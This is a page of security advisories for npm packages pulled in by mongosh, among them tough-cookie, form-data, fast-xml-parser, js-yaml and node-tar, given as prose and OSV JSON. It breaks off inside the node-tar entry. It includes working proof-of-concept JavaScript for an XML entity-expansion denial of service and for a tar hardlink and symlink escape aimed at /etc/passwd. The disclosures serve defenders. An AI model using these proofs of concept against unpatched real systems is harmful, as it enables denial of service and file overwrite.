Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Multiple security vulnerabilities affect the mongosh package. These issues are resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "mongosh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.8.1-r0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the mongosh package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-UJ06223",
"modified": "2026-03-27T06:24:42Z",
"published": "2026-04-01T09:13:46.317772Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-UJ06223.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-25285"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-21637"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-23c5-xmqv-rm74"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-34x7-hfp2-rc4v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72xf-g2v4-qvf3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7r86-cg39-jmmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-83g3-92jg-28cx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8gc5-j5rx-235r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8qq5-rm4j-mr97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9ppj-qmqm-q256"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fj3w-jwp8-x2g3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fjxv-7rqg-78g4"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-jp2q-39xq-3w4g"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mh29-5h37-fv8m"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pfrx-2q88-qq97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qffp-2rhf-9h96"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r6q2-hw4h-h46w"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rc47-6667-2j5j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rmvr-2pp2-xj38"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25285"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21637"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2025-25285, CVE-2026-21637, ghsa-23c5-xmqv-rm74, ghsa-34x7-hfp2-rc4v, ghsa-72xf-g2v4-qvf3, ghsa-7r86-cg39-jmmj, ghsa-83g3-92jg-28cx, ghsa-8gc5-j5rx-235r, ghsa-8qq5-rm4j-mr97, ghsa-9ppj-qmqm-q256, ghsa-fj3w-jwp8-x2g3, ghsa-fjxv-7rqg-78g4, ghsa-jp2q-39xq-3w4g, ghsa-mh29-5h37-fv8m, ghsa-pfrx-2q88-qq97, ghsa-qffp-2rhf-9h96, ghsa-r6q2-hw4h-h46w, ghsa-rc47-6667-2j5j, ghsa-rmvr-2pp2-xj38 applied in versions: 2.6.0-r1, 2.7.0-r0, 2.8.1-r0",
"upstream": [
"CVE-2025-25285",
"CVE-2026-21637",
"ghsa-23c5-xmqv-rm74",
"ghsa-34x7-hfp2-rc4v",
"ghsa-72xf-g2v4-qvf3",
"ghsa-7r86-cg39-jmmj",
"ghsa-83g3-92jg-28cx",
"ghsa-8gc5-j5rx-235r",
"ghsa-8qq5-rm4j-mr97",
"ghsa-9ppj-qmqm-q256",
"ghsa-fj3w-jwp8-x2g3",
"ghsa-fjxv-7rqg-78g4",
"ghsa-jp2q-39xq-3w4g",
"ghsa-mh29-5h37-fv8m",
"ghsa-pfrx-2q88-qq97",
"ghsa-qffp-2rhf-9h96",
"ghsa-r6q2-hw4h-h46w",
"ghsa-rc47-6667-2j5j",
"ghsa-rmvr-2pp2-xj38"
]
}
GHSA-72XF-G2V4-QVF3
Vulnerability from github – Published: 2023-07-01 06:30 – Updated: 2024-06-21 21:33Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. This issue arises from the manner in which the objects are initialized.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tough-cookie"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-26136"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-07T21:39:57Z",
"nvd_published_at": "2023-07-01T05:15:16Z",
"severity": "MODERATE"
},
"details": "Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in `rejectPublicSuffixes=false` mode. This issue arises from the manner in which the objects are initialized.",
"id": "GHSA-72xf-g2v4-qvf3",
"modified": "2024-06-21T21:33:53Z",
"published": "2023-07-01T06:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26136"
},
{
"type": "WEB",
"url": "https://github.com/salesforce/tough-cookie/issues/282"
},
{
"type": "WEB",
"url": "https://github.com/salesforce/tough-cookie/commit/12d474791bb856004e858fdb1c47b7608d09cf6e"
},
{
"type": "PACKAGE",
"url": "https://github.com/salesforce/tough-cookie"
},
{
"type": "WEB",
"url": "https://github.com/salesforce/tough-cookie/releases/tag/v4.1.3"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00010.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3HUE6ZR5SL73KHL7XUPAOEL6SB7HUDT2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6PVVPNSAGSDS63HQ74PJ7MZ3MU5IYNVZ"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240621-0006"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-TOUGHCOOKIE-5672873"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "tough-cookie Prototype Pollution vulnerability"
}
GHSA-FJXV-7RQG-78G4
Vulnerability from github – Published: 2025-07-21 19:04 – Updated: 2025-11-03 21:34Summary
form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:
1. can observe other values produced by Math.random in the target application, and
2. can control one field of a request made using form-data
Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.
This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.
Details
The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347
An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)
PoC
PoC here: https://github.com/benweissmann/CVE-2025-7783-poc
Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).
Impact
For an application to be vulnerable, it must:
- Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
- Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.
If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "form-data"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "form-data"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "form-data"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-7783"
],
"database_specific": {
"cwe_ids": [
"CWE-330"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-21T19:04:54Z",
"nvd_published_at": "2025-07-18T17:15:44Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nform-data uses `Math.random()` to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:\n1. can observe other values produced by Math.random in the target application, and\n2. can control one field of a request made using form-data\n\nBecause the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data\u0027s boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.\n\nThis is largely the same vulnerability as was [recently found in `undici`](https://hackerone.com/reports/2913312) by [`parrot409`](https://hackerone.com/parrot409?type=user) -- I\u0027m not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.\n\n### Details\n\nThe culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347\n\nAn attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a `x-request-id` header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. `Math.random()` is a fine place to get these sorts of IDs (in fact, [opentelemetry uses Math.random for this purpose](https://github.com/open-telemetry/opentelemetry-js/blob/2053f0d3a44631ade77ea04f656056a2c8a2ae76/packages/opentelemetry-sdk-trace-base/src/platform/node/RandomIdGenerator.ts#L22))\n\n### PoC\n\nPoC here: https://github.com/benweissmann/CVE-2025-7783-poc\n\nInstructions are in that repo. It\u0027s based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). \n\n### Impact\n\nFor an application to be vulnerable, it must:\n- Use `form-data` to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system\u0027s handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)\n- Reveal values of Math.random(). It\u0027s easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. \n\nIf an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.",
"id": "GHSA-fjxv-7rqg-78g4",
"modified": "2025-11-03T21:34:08Z",
"published": "2025-07-21T19:04:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/form-data/form-data/security/advisories/GHSA-fjxv-7rqg-78g4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7783"
},
{
"type": "WEB",
"url": "https://github.com/form-data/form-data/commit/3d1723080e6577a66f17f163ecd345a21d8d0fd0"
},
{
"type": "WEB",
"url": "https://github.com/benweissmann/CVE-2025-7783-poc"
},
{
"type": "PACKAGE",
"url": "https://github.com/form-data/form-data"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/07/msg00023.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "form-data uses unsafe random function in form-data for choosing boundary"
}
GHSA-8GC5-J5RX-235R
Vulnerability from github – Published: 2026-03-17 19:45 – Updated: 2026-03-25 14:31Summary
The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (<, >, etc.) are processed through a separate code path that does NOT enforce any expansion limits.
An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.
Affected Versions
fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)
Root Cause
In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops:
- Lines 638-670: DOCTYPE entities — expansion counting with
entityExpansionCountandcurrentExpandedLengthtracking. This was the CVE-2026-26278 fix. - Lines 674-677:
lastEntitiesloop — replaces standard entities includingnum_dec(/&#([0-9]{1,7});/g) andnum_hex(/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all.
The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.
Proof of Concept
const { XMLParser } = require('fast-xml-parser');
// Even with strict explicit limits, numeric entities bypass them
const parser = new XMLParser({
processEntities: {
enabled: true,
maxTotalExpansions: 10,
maxExpandedLength: 100,
maxEntityCount: 1,
maxEntitySize: 10
}
});
// 100K numeric entity references — should be blocked by maxTotalExpansions=10
const xml = `<root>${'A'.repeat(100000)}</root>`;
const result = parser.parse(xml);
// Output: 500,000 chars — bypasses maxExpandedLength=100 completely
console.log('Output length:', result.root.length); // 500000
console.log('Expected max:', 100); // limit was 100
Results:
- 100K A references → 500,000 char output (5x default maxExpandedLength of 100,000)
- 1M references → 5,000,000 char output, ~147MB memory consumed
- Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars
- Hex entities (A) exhibit the same bypass
Impact
Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause: - Excessive memory allocation (147MB+ for 1M entity references) - CPU consumption during regex replacement - Potential process crash via OOM
This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.
Suggested Fix
Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.
Workaround
Set htmlEntities:false
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.5.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-beta.3"
},
{
"fixed": "4.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33036"
],
"database_specific": {
"cwe_ids": [
"CWE-776"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-17T19:45:41Z",
"nvd_published_at": "2026-03-20T06:16:11Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe fix for CVE-2026-26278 added entity expansion limits (`maxTotalExpansions`, `maxExpandedLength`, `maxEntityCount`, `maxEntitySize`) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. **Numeric character references** (`\u0026#NNN;` and `\u0026#xHH;`) and standard XML entities (`\u0026lt;`, `\u0026gt;`, etc.) are processed through a separate code path that does NOT enforce any expansion limits.\n\nAn attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.\n\n## Affected Versions\n\nfast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)\n\n## Root Cause\n\nIn `src/xmlparser/OrderedObjParser.js`, the `replaceEntitiesValue()` function has two separate entity replacement loops:\n\n1. **Lines 638-670**: DOCTYPE entities \u2014 expansion counting with `entityExpansionCount` and `currentExpandedLength` tracking. This was the CVE-2026-26278 fix.\n2. **Lines 674-677**: `lastEntities` loop \u2014 replaces standard entities including `num_dec` (`/\u0026#([0-9]{1,7});/g`) and `num_hex` (`/\u0026#x([0-9a-fA-F]{1,6});/g`). **This loop has NO expansion counting at all.**\n\nThe numeric entity regex replacements at lines 97-98 are part of `lastEntities` and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.\n\n## Proof of Concept\n\n```javascript\nconst { XMLParser } = require(\u0027fast-xml-parser\u0027);\n\n// Even with strict explicit limits, numeric entities bypass them\nconst parser = new XMLParser({\n processEntities: {\n enabled: true,\n maxTotalExpansions: 10,\n maxExpandedLength: 100,\n maxEntityCount: 1,\n maxEntitySize: 10\n }\n});\n\n// 100K numeric entity references \u2014 should be blocked by maxTotalExpansions=10\nconst xml = `\u003croot\u003e${\u0027\u0026#65;\u0027.repeat(100000)}\u003c/root\u003e`;\nconst result = parser.parse(xml);\n\n// Output: 500,000 chars \u2014 bypasses maxExpandedLength=100 completely\nconsole.log(\u0027Output length:\u0027, result.root.length); // 500000\nconsole.log(\u0027Expected max:\u0027, 100); // limit was 100\n```\n\n**Results:**\n- 100K `\u0026#65;` references \u2192 500,000 char output (5x default maxExpandedLength of 100,000)\n- 1M references \u2192 5,000,000 char output, ~147MB memory consumed\n- Even with `maxTotalExpansions=10` and `maxExpandedLength=100`, 10K references produce 50,000 chars\n- Hex entities (`\u0026#x41;`) exhibit the same bypass\n\n## Impact\n\n**Denial of Service** \u2014 An attacker who can provide XML input to applications using fast-xml-parser can cause:\n- Excessive memory allocation (147MB+ for 1M entity references)\n- CPU consumption during regex replacement\n- Potential process crash via OOM\n\nThis is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.\n\n## Suggested Fix\n\nApply the same `entityExpansionCount` and `currentExpandedLength` tracking to the `lastEntities` loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.\n\n## Workaround\n\nSet `htmlEntities:false`",
"id": "GHSA-8gc5-j5rx-235r",
"modified": "2026-03-25T14:31:39Z",
"published": "2026-03-17T19:45:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-8gc5-j5rx-235r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33036"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/bd26122c838e6a55e7d7ac49b4ccc01a49999a01"
},
{
"type": "PACKAGE",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v4.5.5"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.5.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)"
}
GHSA-MH29-5H37-FV8M
Vulnerability from github – Published: 2025-11-14 14:29 – Updated: 2026-01-31 03:32Impact
In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (__proto__). All users who parse untrusted yaml documents may be impacted.
Patches
Problem is patched in js-yaml 4.1.1 and 3.14.2.
Workarounds
You can protect against this kind of attack on the server by using node --disable-proto=delete or deno (in Deno, pollution protection is on by default).
References
https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64718"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-14T14:29:48Z",
"nvd_published_at": "2025-11-13T16:15:57Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nIn js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it\u0027s possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted.\n\n### Patches\n\nProblem is patched in js-yaml 4.1.1 and 3.14.2.\n\n### Workarounds\n\nYou can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default).\n\n### References\n\nhttps://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html",
"id": "GHSA-mh29-5h37-fv8m",
"modified": "2026-01-31T03:32:42Z",
"published": "2025-11-14T14:29:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-mh29-5h37-fv8m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64718"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/issues/730#issuecomment-3549635876"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/commit/383665ff4248ec2192d1274e934462bb30426879"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/commit/5278870a17454fe8621dbd8c445c412529525266"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-mh29-5h37-fv8m"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodeca/js-yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "js-yaml has prototype pollution in merge (\u003c\u003c)"
}
GHSA-8QQ5-RM4J-MR97
Vulnerability from github – Published: 2026-01-16 21:16 – Updated: 2026-02-18 23:43Summary
The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.
Details
The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.
1. Hardlink Escape (Arbitrary File Overwrite)
The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
2. Symlink Poisoning
The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.
PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Impact
- Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
- Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all
LinkandSymbolicLinktar entries from extracted packages.)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.2"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23745"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-16T21:16:20Z",
"nvd_published_at": "2026-01-16T22:16:26Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `node-tar` library (`\u003c= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.\n\n### Details\n\nThe vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.\n\n**1. Hardlink Escape (Arbitrary File Overwrite)**\n\nThe extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.\n\nThe library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.\n\n**2. Symlink Poisoning**\n\nThe extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.\n\n### PoC\n\nThe following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local \"secret\" file was successfully overwritten.\n\n```javascript\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst tar = require(\u0027tar\u0027)\n\nconst out = path.resolve(\u0027out_repro\u0027)\nconst secret = path.resolve(\u0027secret.txt\u0027)\nconst tarFile = path.resolve(\u0027exploit.tar\u0027)\nconst targetSym = \u0027/etc/passwd\u0027\n\n// Cleanup \u0026 Setup\ntry { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}\nfs.mkdirSync(out)\nfs.writeFileSync(secret, \u0027ORIGINAL_DATA\u0027)\n\n// 1. Craft malicious Link header (Hardlink to absolute local file)\nconst h1 = new tar.Header({\n path: \u0027exploit_hard\u0027,\n type: \u0027Link\u0027,\n size: 0,\n linkpath: secret \n})\nh1.encode()\n\n// 2. Craft malicious Symlink header (Symlink to /etc/passwd)\nconst h2 = new tar.Header({\n path: \u0027exploit_sym\u0027,\n type: 